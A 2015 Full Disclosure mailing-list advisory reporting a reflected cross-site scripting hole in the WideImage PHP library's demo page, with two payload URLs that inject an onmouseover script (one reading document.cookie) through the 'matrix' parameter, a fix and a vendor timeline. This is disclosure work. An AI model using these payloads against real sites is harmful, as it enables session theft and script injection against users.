WideImage Demo Code Cross Site Scripting (XSS) Description: WideImage is an object-oriented library for image manipulation. It requires PHP 5.2+ with GD2 extension. The library provides a simple way to loading, manipulating and saving images in the most common image formats. Type of vulnerability: Reflected XSS Threat level: Medium Tested on: Windows 8.1 Product: WideImage - An Open Source PHP library for image manipulation. Version: 11.02.19 Build date: 2011-02-19 Live vulnerable URL during discovery: http://wideimage.sourceforge.net/wp-content/current/demo/index.php How to replicate this vulnerability: Assuming WideImage is installed on http://localhost:8080/wideimage/, one can inject JavaScript with: Payload URL 1: http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo Payload URL 1: http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo Workaround/Fix: To fix this, please remove the two following directories: public_html/wideimage/demo public_html/wideimage/test Disclosure Time-line: Notified vendor: July 04, 2015 Response from vendor: No response. Disclosure due to: Page here at http://wideimage.sourceforge.net/support/ says, "6. If it's bug. Report it." Fix: Not fixed at this time (July 07, 2015) WideImage Vendor Bug Ticket Reference: http://sourceforge.net/p/wideimage/bugs/42/ Credits and Copyright: This vulnerability was discovered by Mohammad Sikkandar Sha. It's licensed under the creative commons attribution license 4.0. Mohammad Sikkandar Sha, 2015-July-07, Email: sikkandar.lynx@xxxxxxxxx
Attachment:
Reflected XSS 2.JPG
Description: =?utf-8?q?Reflected_XSS_2.JPG?=
Attachment:
Reflected XSS 1.JPG
Description: =?utf-8?q?Reflected_XSS_1.JPG?=
_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
